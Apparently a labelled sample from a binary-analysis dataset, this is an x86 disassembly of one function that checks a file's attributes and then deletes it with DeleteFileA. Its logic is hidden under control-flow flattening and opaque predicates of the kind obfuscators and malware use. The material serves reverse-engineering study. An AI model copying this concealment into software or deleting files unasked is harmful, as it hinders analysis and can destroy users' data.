Function at 0x4168f0
Capabilities:
Delete file
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x2c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], 0xfed29998
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
sub eax, 0x8194cd14
je 0x417d07
jmp 0x41691b
mov eax, dword [ebp - 0x30]
sub eax, 0x87a2de16
je 0x4178a9
jmp 0x41692e
mov eax, dword [ebp - 0x30]
sub eax, 0x8de4a135
je 0x41771b
jmp 0x416941
mov eax, dword [ebp - 0x30]
sub eax, 0x9923b961
je 0x417ce3
jmp 0x416954
mov eax, dword [ebp - 0x30]
sub eax, 0x9b839629
je 0x417265
jmp 0x416967
mov eax, dword [ebp - 0x30]
sub eax, 0xa8de3587
je 0x4175f1
jmp 0x41697a
mov eax, dword [ebp - 0x30]
sub eax, 0xaae4ff9f
je 0x417700
jmp 0x41698d
mov eax, dword [ebp - 0x30]
sub eax, 0xacb45082
je 0x417c1a
jmp 0x4169a0
mov eax, dword [ebp - 0x30]
sub eax, 0xacf26190
je 0x416e3e
jmp 0x4169b3
mov eax, dword [ebp - 0x30]
sub eax, 0xb06cab6a
je 0x417acb
jmp 0x4169c6
mov eax, dword [ebp - 0x30]
sub eax, 0xb5e2d3c2
je 0x4172d8
jmp 0x4169d9
mov eax, dword [ebp - 0x30]
sub eax, 0xb8dbb541
je 0x417c0e
jmp 0x4169ec
mov eax, dword [ebp - 0x30]
sub eax, 0xb9c7e847
je 0x41723e
jmp 0x4169ff
mov eax, dword [ebp - 0x30]
sub eax, 0xbafb068d
je 0x417914
jmp 0x416a12
mov eax, dword [ebp - 0x30]
sub eax, 0xbd0dd92c
je 0x417ab0
jmp 0x416a25
mov eax, dword [ebp - 0x30]
sub eax, 0xbe790db7
je 0x417376
jmp 0x416a38
mov eax, dword [ebp - 0x30]
sub eax, 0xbe820de3
je 0x4171c5
jmp 0x416a4b
mov eax, dword [ebp - 0x30]
sub eax, 0xc022f945
je 0x417962
jmp 0x416a5e
mov eax, dword [ebp - 0x30]
sub eax, 0xc6f1de97
je 0x41789d
jmp 0x416a71
mov eax, dword [ebp - 0x30]
sub eax, 0xc9de0d71
je 0x417a4f
jmp 0x416a84
mov eax, dword [ebp - 0x30]
sub eax, 0xd5ac134b
je 0x417cd7
jmp 0x416a97
mov eax, dword [ebp - 0x30]
sub eax, 0xd7499df4
je 0x417d37
jmp 0x416aaa
mov eax, dword [ebp - 0x30]
sub eax, 0xdcbcf84d
je 0x417324
jmp 0x416abd
mov eax, dword [ebp - 0x30]
sub eax, 0xdf28b9f7
je 0x417d2b
jmp 0x416ad0
mov eax, dword [ebp - 0x30]
sub eax, 0xe0a74ee5
je 0x417b7a
jmp 0x416ae3
mov eax, dword [ebp - 0x30]
sub eax, 0xe6fac0df
je 0x417455
jmp 0x416af6
mov eax, dword [ebp - 0x30]
sub eax, 0xe73d8946
je 0x41784f
jmp 0x416b09
mov eax, dword [ebp - 0x30]
sub eax, 0xe94f20b1
je 0x416eb1
jmp 0x416b1c
mov eax, dword [ebp - 0x30]
sub eax, 0xecd96353
je 0x417572
jmp 0x416b2f
mov eax, dword [ebp - 0x30]
sub eax, 0xeede2392
je 0x417d1f
jmp 0x416b42
mov eax, dword [ebp - 0x30]
sub eax, 0xf0619044
je 0x4174c8
jmp 0x416b55
mov eax, dword [ebp - 0x30]
sub eax, 0xf330abf4
je 0x4170a4
jmp 0x416b68
mov eax, dword [ebp - 0x30]
sub eax, 0xf41952d8
je 0x417d43
jmp 0x416b7b
mov eax, dword [ebp - 0x30]
sub eax, 0xf4884ac4
je 0x417d4f
jmp 0x416b8e
mov eax, dword [ebp - 0x30]
sub eax, 0xf7b6c498
je 0x4179f6
jmp 0x416ba1
mov eax, dword [ebp - 0x30]
sub eax, 0xf85cd3d4
je 0x41763f
jmp 0x416bb4
mov eax, dword [ebp - 0x30]
sub eax, 0xf8e6151e
je 0x417b28
jmp 0x416bc7
mov eax, dword [ebp - 0x30]
sub eax, 0xfed29998
je 0x416e2c
jmp 0x416bda
mov eax, dword [ebp - 0x30]
sub eax, 0xfef5026d
je 0x417aa1
jmp 0x416bed
mov eax, dword [ebp - 0x30]
sub eax, 0x1662662
je 0x417330
jmp 0x416c00
mov eax, dword [ebp - 0x30]
sub eax, 0x1e039ff
je 0x417ccb
jmp 0x416c13
mov eax, dword [ebp - 0x30]
sub eax, 0x413047d
je 0x417cef
jmp 0x416c26
mov eax, dword [ebp - 0x30]
sub eax, 0x9584a1f
je 0x417cfb
jmp 0x416c39
mov eax, dword [ebp - 0x30]
sub eax, 0xc5e7d19
je 0x416fe5
jmp 0x416c4c
mov eax, dword [ebp - 0x30]
sub eax, 0xe3d55ec
je 0x4176b2
jmp 0x416c5f
mov eax, dword [ebp - 0x30]
sub eax, 0x1441202a
je 0x417ada
jmp 0x416c72
mov eax, dword [ebp - 0x30]
sub eax, 0x1ff597e4
je 0x417516
jmp 0x416c85
mov eax, dword [ebp - 0x30]
sub eax, 0x21ca9d74
je 0x416f24
jmp 0x416c98
mov eax, dword [ebp - 0x30]
sub eax, 0x289a3f10
je 0x417c85
jmp 0x416cab
mov eax, dword [ebp - 0x30]
sub eax, 0x28bf91a2
je 0x417031
jmp 0x416cbe
mov eax, dword [ebp - 0x30]
sub eax, 0x2c0cc00c
je 0x417a02
jmp 0x416cd1
mov eax, dword [ebp - 0x30]
sub eax, 0x30616c9c
je 0x41778e
jmp 0x416ce4
mov eax, dword [ebp - 0x30]
sub eax, 0x30ab1d7e
je 0x41724a
jmp 0x416cf7
mov eax, dword [ebp - 0x30]
sub eax, 0x3613c6e7
je 0x4177dc
jmp 0x416d0a
mov eax, dword [ebp - 0x30]
sub eax, 0x38454e7e
je 0x41717f
jmp 0x416d1d
mov eax, dword [ebp - 0x30]
sub eax, 0x490b2123
je 0x4170b0
jmp 0x416d30
mov eax, dword [ebp - 0x30]
sub eax, 0x4adf313c
je 0x417d5b
jmp 0x416d43
mov eax, dword [ebp - 0x30]
sub eax, 0x4cb49bdf
je 0x41757e
jmp 0x416d56
mov eax, dword [ebp - 0x30]
sub eax, 0x4e3eda9a
je 0x417b6e
jmp 0x416d69
mov eax, dword [ebp - 0x30]
sub eax, 0x4f6ed1af
je 0x4179a8
jmp 0x416d7c
mov eax, dword [ebp - 0x30]
sub eax, 0x4fbee4ee
je 0x417bc8
jmp 0x416d8f
mov eax, dword [ebp - 0x30]
sub eax, 0x558e5d96
je 0x4173fb
jmp 0x416da2
mov eax, dword [ebp - 0x30]
sub eax, 0x5a489ce1
je 0x417a95
jmp 0x416db5
mov eax, dword [ebp - 0x30]
sub eax, 0x62af2efb
je 0x417d13
jmp 0x416dc8
mov eax, dword [ebp - 0x30]
sub eax, 0x64f923bc
je 0x4170ce
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0xacf26190
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
sub edx, 0xef0734f1
sub edx, 1
add edx, 0xef0734f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd5ac134b
mov ecx, 0xe94f20b1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
add edx, 0x173e290c
sub edx, 1
sub edx, 0x173e290c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd5ac134b
mov ecx, 0x21ca9d74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
sub edx, 0x7ca3d48f
sub edx, 1
add edx, 0x7ca3d48f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66bb05b5
mov ecx, 0x7b4d837e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9923b961
mov ecx, 0x28bf91a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
add edx, 0x5f120fd6
sub edx, 1
sub edx, 0x5f120fd6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x66bb05b5
mov ecx, 0xf330abf4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x490b2123
jmp 0x417d62
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0x64f923bc
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfef5026d
mov ecx, 0xbe820de3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
setne al
and al, 1
mov byte [ebp - 0x15], al
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfef5026d
mov ecx, 0xb9c7e847
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x30ab1d7e
jmp 0x417d62
mov dl, byte [ebp - 0x15]
mov eax, 0x2c0cc00c
mov ecx, 0x9b839629
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
add edx, 0x5f66b9d8
sub edx, 1
sub edx, 0x5f66b9d8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9584a1f
mov ecx, 0xb5e2d3c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9584a1f
mov ecx, 0xdcbcf84d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x1662662
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbd0dd92c
mov ecx, 0xbe790db7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
mov dword [ebp - 0x10], eax
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
sub edx, 0x15d0e89a
sub edx, 1
add edx, 0x15d0e89a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbd0dd92c
mov ecx, 0x558e5d96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x787b759f
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
add edx, 0xc0754912
sub edx, 1
sub edx, 0xc0754912
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8194cd14
mov ecx, 0xf0619044
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0xbf2f78c2
sub edx, 1
sub edx, 0xbf2f78c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb06cab6a
mov ecx, 0x1ff597e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [ebp - 0x10]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 9], al
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
sub edx, 0x4db04387
sub edx, 1
add edx, 0x4db04387
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb06cab6a
mov ecx, 0xecd96353
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x4cb49bdf
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
sub edx, 0x1c166774
sub edx, 1
add edx, 0x1c166774
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1441202a
mov ecx, 0xa8de3587
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
sub edx, 0xd817fd13
sub edx, 1
add edx, 0xd817fd13
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1441202a
mov ecx, 0xf85cd3d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
sub edx, 0xc7369c8f
sub edx, 1
add edx, 0xc7369c8f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x62af2efb
mov ecx, 0xe3d55ec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0x1e452417
sub edx, 1
sub edx, 0x1e452417
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62af2efb
mov ecx, 0xaae4ff9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dl, byte [ebp - 9]
mov eax, 0x8de4a135
mov ecx, 0x87a2de16
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
sub edx, 0x44e9281d
sub edx, 1
add edx, 0x44e9281d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeede2392
mov ecx, 0x30616c9c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0x16cee367
sub edx, 1
sub edx, 0x16cee367
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeede2392
mov ecx, 0x3613c6e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
mov edx, ecx
add edx, 0x4712f5b9
sub edx, 1
sub edx, 0x4712f5b9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0a74ee5
mov ecx, 0xe73d8946
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0x2310bfbf
sub edx, 1
sub edx, 0x2310bfbf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0a74ee5
mov ecx, 0xc6f1de97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x2c0cc00c
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xacb45082
mov ecx, 0xbafb068d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0xb6a40727
sub edx, 1
sub edx, 0xb6a40727
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf28b9f7
mov ecx, 0xc022f945
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdf28b9f7
mov ecx, 0x4f6ed1af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0xb582f4be
sub edx, 1
sub edx, 0xb582f4be
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xacb45082
mov ecx, 0xf7b6c498
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x2c0cc00c
jmp 0x417d62
add esp, 0x2c
pop esi
pop ebx
pop ebp
ret
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd7499df4
mov ecx, 0x5a489ce1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0x7b4d837e
jmp 0x417d62
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], 0xbe820de3
jmp 0x417d62
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 4
mov dword [ebp - 0x28], 0xbe790db7
jmp 0x417d62
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x28], 0x1ff597e4
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
sub edx, 0xf9f73119
sub edx, 1
add edx, 0xf9f73119
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf41952d8
mov ecx, 0xf8e6151e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf41952d8
mov ecx, 0x4e3eda9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0xa8de3587
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
mov edx, eax
add edx, 0xeca71918
sub edx, 1
sub edx, 0xeca71918
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4884ac4
mov ecx, 0x4fbee4ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf4884ac4
mov ecx, 0xb8dbb541
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0xe73d8946
jmp 0x417d62
mov ecx, dword [0x47c6b8]
mov eax, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4adf313c
mov ecx, 0x289a3f10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov eax, dword [0x47c6b8]
mov ecx, dword [0x47c6b4]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4adf313c
mov ecx, 0x1e039ff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x28], eax
jmp 0x417d62
mov dword [ebp - 0x28], 0xbafb068d
jmp 0x417d62
mov dword [ebp - 0x28], 0xe94f20b1
jmp 0x417d62
mov dword [ebp - 0x28], 0xc5e7d19
jmp 0x417d62
mov dword [ebp - 0x28], 0x7e90e7de
jmp 0x417d62
mov dword [ebp - 0x28], 0xb5e2d3c2
jmp 0x417d62
mov dword [ebp - 0x28], 0xe6fac0df
jmp 0x417d62
mov dword [ebp - 0x28], 0xe3d55ec
jmp 0x417d62
mov dword [ebp - 0x28], 0x30616c9c
jmp 0x417d62
mov dword [ebp - 0x28], 0xc022f945
jmp 0x417d62
mov dword [ebp - 0x28], 0xc9de0d71
jmp 0x417d62
mov dword [ebp - 0x28], 0xf8e6151e
jmp 0x417d62
mov dword [ebp - 0x28], 0x4fbee4ee
jmp 0x417d62
mov dword [ebp - 0x28], 0x289a3f10
jmp 0x416905